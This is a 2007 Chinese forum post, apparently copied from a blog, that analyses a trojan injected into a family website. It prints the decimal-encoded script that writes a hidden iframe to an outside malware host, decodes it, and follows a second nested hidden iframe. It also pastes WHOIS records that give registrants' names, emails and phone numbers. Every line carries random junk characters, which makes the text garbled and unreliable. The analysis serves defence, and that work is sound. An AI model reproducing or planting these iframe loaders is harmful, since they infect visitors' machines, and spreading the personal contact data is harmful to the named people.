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[原创]一篇刚写的分析木马手记

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首发在我的博客里面, t+H=%{z  
WGK:XfOBQ  
http://www.areway.cn/?p=175 K> rZJ[a  
FX yyY-(O  
:xBG~D  
周末上线鸭子就Q我说他的站给挂了马,当时没太注意就直接打开了连接,截下了网页源码: eZck$]P(6H  
          C.#\ Pz0  
<script>t=’60,105,102,114,97,109,101, sOf;I]E|  
32,115,114,99,61,104,116,116,112,58,47,47, ycPGv.6  
102,114,101,101,46,117,45,117,117,117,46,99, >RTmfV  
110,47,101,114,114,111,114,46,104,116,109, -|FSdzvg  
32,119,105,100,116,104,61,49,48,48,32,104, 46(=*iT&V  
101,105,103,104,116,61,48,62,60,47,105,102, 2_i9 q>I  
114,97,109,101,62′; `\pv^#5HV9  
t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script> 2~wIHtd  
                                                                                                  y8!#G-d5  
<script>t=’60,105,102,114,97,109,101,32,115, (b*PDhl`+  
114,99,61,104,116,116,112,58,47,47,102,114, b@> MA  
101,101,46,117,45,117,117,117,46,99,110,47, J^Mq4&  
101,114,114,111,114,46,104,116,109,32,119, nYvx[ zq?^  
105,100,116,104,61,49,48,48,32,104,101,105, P<OSm*;U:  
103,104,116,61,48,62,60,47,105,102,114,97, h{5K9$9=  
109,101,62′;t=eval(’String.fromCharCode(’+t+’)'); Uc[ @]  
document.write(t);</script> O/N@ Gz[g%  
                                                                                                  Hf#VW^  
<html xmlns=”  W>HGB  
http://www.w3.org/1999/xhtml G9YfJ?I  
“> YWK|AT-4  
<head> w y\0o  
<!– Published By Newasp.cc 2007-12-7-18:03:23 –> yPmo@aw]1  
<meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ /> ^tr?y??k  
<title>首页 - 爱生活家庭网 P\nz;}nv  
                                                                                                                                                    RP9jZRDbZ  
上面有一段 script的十进制加密字段,里面的大概内容是,把所有的字符放在函数t里面,最后用doucment.write(t)来把字符串写在网页里面。 xl]1{$1M  
转换字符串后的大概内容是(谁点击后果自付): |n/qJIE6  
<script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=……… h8)m2KrZ!.  
                                                                                                                                  |u@/,x/t  
查询玉米u-uuu.cn的详细信息: }iE!( l  
Domain Name: u-uuu.cn 5dNM:1VoE  
ROID: 20070901s10001s64972306-cn %RS~>pK1  
Domain Status: ok  <j<V{Wc  
Registrant Organization: 王雷 "N*bV  
Registrant Name: 王雷 yd>b2 M  
Administrative Email: czlovexs@126.com qtI42u{  
Sponsoring Registrar: 北京万网志成科技有限公司 .m^L,;+2  
Name Server:ns.yovole.com 3&tJD  
Name Server:ns1.yovole.com 7+Z%#G~T  
Registration Date: 2007-09-01 17:54 !!we4tWq  
Expiration Date: 2008-09-01 17:54 u;/5@ADW  
最后PING了一下地址 都没有什么…. /9 ^F_2'_  
                                                                                                Jjr&+Q^3Tu  
上虚拟机里面继续分析,IE里面打开上面的连接…查看源代码…..直接又有嵌套. x[dR5  
<iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe> (=eJceE!  
<script language=”javascript” src=” AW')*{/(Ii  
http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script \v]esIP5R'  
> {Y7dE?!`7  
这个玉米应该有可能是木马作者的: m.g2>r`NU  
foafau.info的详细信息: "+{>"_KV  
Access to INFO WHOIS information is provided to assist persons in =K:)%Qh  
determining the contents of a domain name registration record in the x Rp;y*  
Afilias registry database. The data in this record is provided by F39H@%R  
Afilias Limited for informational purposes only, and Afilias does not _t7}ny[  
guarantee its accuracy.  This service is intended only for query-based E/:mO~1< c  
access. You agree that you will use this data only for lawful purposes 9V0@!M8S  
and that, under no circumstances will you use this data to: (a) allow, X?gH(mn  
enable, or otherwise support the transmission by e-mail, telephone, or RO!em~{D*  
facsimile of mass unsolicited, commercial advertising or solicitations V\6V&_  
to entities other than the data recipient’s own existing customers; or !$Whftg  
(b) enable high volume, automated, electronic processes that send nb|KIW  
queries or data to the systems of Registry Operator, a Registrar, or Pz77\DpFi  
Afilias except as reasonably necessary to register domain names or VsjE*AJpe  
modify existing registrations. All rights reserved. Afilias reserves WV?3DzeR  
the right to modify these terms at any time. By submitting this query, 0n)99Osq(u  
you agree to abide by this policy. (M;jnQ0  
Domain ID:D22418703-LRMS 5oTj^W8M(  
Domain Name:FOAFAU.INFO E-v#G~  
Created On:20-Nov-2007 16:05:42 UTC CxbGL  
Last Updated On:20-Nov-2007 16:05:44 UTC 8ZN"-]*  
Expiration Date:20-Nov-2008 16:05:42 UTC Gzw9E.Hk  
Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS) NfsF'v  
Status:CLIENT DELETE PROHIBITED 30fqD1_{  
Status:CLIENT RENEW PROHIBITED 7 /7,55  
Status:CLIENT TRANSFER PROHIBITED F~Sw-b kSf  
Status:CLIENT UPDATE PROHIBITED /!A?>#O&.  
Status:TRANSFER PROHIBITED 'i;/?'!W6  
Registrant ID:GODA-040110615 bD:[r))#e  
Registrant Name:liu hong <nk7vo?Ks  
Registrant Organization: |)[I$]L  
Registrant Street1:beijing ;_iDiLC;  
Registrant Street2: vhE^jS<Tg  
Registrant Street3: t#N@0kIX.  
Registrant City:beijing 4Je[!X@C  
Registrant State/Province: E(p#Je|@[  
Registrant Postal Code:100000 yR$ld.[uf  
Registrant Country:CN VBq|j"o0"  
Registrant Phone:+86.860108888777 k%Wj+\93 f  
Registrant Phone Ext.: 76eF6N+%}t  
Registrant FAX: 2kkqPBc_  
Registrant FAX Ext.: k}hTSL  
Registrant Email:bbbshiji@163.com >`=9So_J  
Admin ID:GODA-240110615 S3N+ 9*i K  
Admin Name:liu hong ~kp,;!^vr  
Admin Organization: 59#o+qo4   
Admin Street1:beijing r~YxtBZH+  
Admin Street2: ]9lR:V sw  
Admin Street3: 1%$Z%?  
Admin City:beijing JuD&121N*  
Admin State/Province: #t<  
Admin Postal Code:100000 nw,XA0M3  
Admin Country:CN {JlSfJw !  
Admin Phone:+86.860108888777 " 7g\X$  
Admin Phone Ext.:  wzf  
Admin FAX: bZlKy`Z  
Admin FAX Ext.: XP^[,)E  
Admin Email:bbbshiji@163.com %Xe 74C"  
Billing ID:GODA-340110615 xU;/LJ6  
Billing Name:liu hong a98J_^n  
Billing Organization: -LU%z'  
Billing Street1:beijing ;:1o|>mX  
Billing Street2: ^E&WgXlb  
Billing Street3: \\P*w$c   
Billing City:beijing 3W3)%[ 5  
Billing State/Province: !X4m6gRaP  
Billing Postal Code:100000 0BP Ubp(  
Billing Country:CN 1b,MJ~g$  
Billing Phone:+86.860108888777 ]{ir^[A6  
Billing Phone Ext.: `5 Iaz  
Billing FAX: \rM5@ Vf  
Billing FAX Ext.: 3YD.Fjz$  
Billing Email:bbbshiji@163.com +'9E4Lpx  
Tech ID:GODA-140110615 x4XCR,-  
Tech Name:liu hong !W/"Z!k  
Tech Organization: *h M5pw  
Tech Street1:beijing SNc$!  
Tech Street2: g4^3H3Pd  
Tech Street3: }v6@yU  
Tech City:beijing \49s;\I]  
Tech State/Province: |ITh2m  
Tech Postal Code:100000 . "Q}2  
Tech Country:CN j:7AVnt  
Tech Phone:+86.860108888777 (*Z:ByA  
Tech Phone Ext.: LRqlK\  
Tech FAX: "t%Jj89a\  
Tech FAX Ext.: ]Jo}F@\g  
Tech Email:bbbshiji@163.com (bAw>  
Name Server:NS27.DOMAINCONTROL.COM <UwYI_OX  
Name Server:NS28.DOMAINCONTROL.COM <72q^w  
Name Server: ,</Kn~b  
Name Server: kD}vK+  
Name Server: U+,RP$r@  
Name Server: Sq]QRI/  
Name Server: 2  ZyO  
Name Server: _&N}.y)+t  
Name Server: Ey)ey-'\  
Name Server: 1 %8JMq\  
Name Server: 0ax ;Q[z2  
Name Server: p8j*m~4B  
Name Server: KNjU!Z/4  
                                                                                                          dF><XZph  
接着下载每个文件里面的代码: wz>[CXpi_  
一步一步看.. iKu4s  
Vwb_$Yi+]  
VniU:A  
QUDpAW  
Z1_F)5pn  
/[!<rhY  
都是十进制的代码,也懒得再分析了,有这个爱好的大家可以继续试试
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只看该作者 1 发表于: 2007-12-17
看过了就是没看懂。。。
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只看该作者 2 发表于: 2007-12-18
要是有全部 就好了 传上来
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